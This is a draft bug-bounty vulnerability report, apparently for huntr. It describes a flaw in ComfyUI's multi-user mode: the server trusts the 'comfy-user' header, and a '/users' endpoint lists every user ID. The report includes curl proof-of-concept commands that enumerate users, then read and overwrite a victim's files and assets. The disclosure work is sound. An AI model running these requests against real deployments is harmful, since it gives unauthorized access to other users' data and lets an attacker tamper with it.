# ComfyUI — Multi-user mode is not an authentication boundary (user impersonation via `comfy-user` header) STATUS: DRAFT readiness: READY program: ComfyUI | platform: huntr | repo: comfyanonymous/ComfyUI | commit: e1add56 ```` Repository URL: https://github.com/comfyanonymous/ComfyUI Package Manager: pip Version Affected: latest (commit e1add56) Vulnerability Type: Authentication Bypass by Spoofing CVSS: Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality: High Integrity: High Availability: None Title: Multi-user mode allows cross-user data access by spoofing `comfy-user` header (users enumerable via /users) Impact: In --multi-user mode, a remote attacker can enumerate all user IDs and then impersonate any user by setting the `comfy-user` request header, gaining read/write access to that user's per-user storage (userdata files and assets). Description: # Description When ComfyUI is started with `--multi-user`, the server supports per-user storage for endpoints like `/userdata` and the assets API (`/api/assets`, etc.). User selection is performed by `UserManager.get_request_user_id()`: - If `--multi-user` is enabled and the incoming request contains a `comfy-user` header, the header value is treated as the active user ID. - The value is only checked for a system-user prefix and membership in `self.users`. Additionally, the `GET /users` endpoint returns the full user mapping (`{ user_id: username }`) in multi-user mode. As a result, any remote caller can: 1. Enumerate valid user IDs via `GET /users`. 2. Impersonate any user by setting `comfy-user: `. 3. Access that user's per-user storage via `/userdata` and related endpoints, and access that user's assets via the assets API. # Proof of Concept Precondition: ComfyUI is started with `--multi-user` and is reachable over the network. 1. Enumerate user IDs: ```bash curl -s 'http://:/users' ``` 2. Pick any victim user ID from the response (for example `victim_id`). 3. List victim userdata files (example uses `dir=.`): ```bash curl -s -H 'comfy-user: victim_id' 'http://:/userdata?dir=.&recurse=true' ``` 4. Read a victim file (replace path with a value returned by the listing): ```bash curl -s -H 'comfy-user: victim_id' 'http://:/userdata/' ``` 5. Write/overwrite victim files: ```bash curl -s -X POST -H 'comfy-user: victim_id' --data-binary 'attacker data' \ 'http://:/userdata/poc.txt?overwrite=true' ``` 6. Access victim assets (if the assets system is enabled): ```bash curl -s -H 'comfy-user: victim_id' 'http://:/api/assets?limit=10' ``` ### Impact Cross-user data access and modification in multi-user mode, enabling theft and tampering of user artifacts stored under per-user storage. ### Occurrences ``` Permalink: https://github.com/comfyanonymous/ComfyUI/blob/e1add563f9e89026e8c4e8825a2b279fbd67d23a/app/user_manager.py#L52-L70 Description: get_request_user_id() trusts attacker-controlled `comfy-user` header. Permalink: https://github.com/comfyanonymous/ComfyUI/blob/e1add563f9e89026e8c4e8825a2b279fbd67d23a/app/user_manager.py#L120-L131 Description: GET /users returns the full users mapping in multi-user mode. Permalink: https://github.com/comfyanonymous/ComfyUI/blob/e1add563f9e89026e8c4e8825a2b279fbd67d23a/app/user_manager.py#L149-L230 Description: /userdata endpoints rely on get_request_user_id() for access control. Permalink: https://github.com/comfyanonymous/ComfyUI/blob/e1add563f9e89026e8c4e8825a2b279fbd67d23a/app/assets/api/routes.py#L41-L76 Description: Assets endpoints use get_request_user_id() as owner_id. ``` ### References ``` URL: https://cwe.mitre.org/data/definitions/284.html Name: CWE-284: Improper Access Control URL: https://cwe.mitre.org/data/definitions/639.html Name: CWE-639: Authorization Bypass Through User-Controlled Key ``` Occurrences: Permalink: https://github.com/comfyanonymous/ComfyUI/blob/e1add563f9e89026e8c4e8825a2b279fbd67d23a/app/user_manager.py#L52-L70 Description: get_request_user_id() trusts attacker-controlled `comfy-user` header to select the active user. Permalink: https://github.com/comfyanonymous/ComfyUI/blob/e1add563f9e89026e8c4e8825a2b279fbd67d23a/app/user_manager.py#L120-L131 Description: GET /users returns the full users mapping (IDs -> names) in multi-user mode, enabling easy enumeration of victim user IDs. Permalink: https://github.com/comfyanonymous/ComfyUI/blob/e1add563f9e89026e8c4e8825a2b279fbd67d23a/app/user_manager.py#L149-L230 Description: /userdata endpoints enforce filesystem boundaries but rely on get_request_user_id(), so spoofing the header grants cross-user access within the per-user root. Permalink: https://github.com/comfyanonymous/ComfyUI/blob/e1add563f9e89026e8c4e8825a2b279fbd67d23a/app/assets/api/routes.py#L41-L76 Description: Assets APIs use USER_MANAGER.get_request_user_id(request) as the owner_id, so spoofing `comfy-user` enables cross-user asset access. References: URL: https://cwe.mitre.org/data/definitions/284.html Name: CWE-284: Improper Access Control URL: https://cwe.mitre.org/data/definitions/639.html Name: CWE-639: Authorization Bypass Through User-Controlled Key ````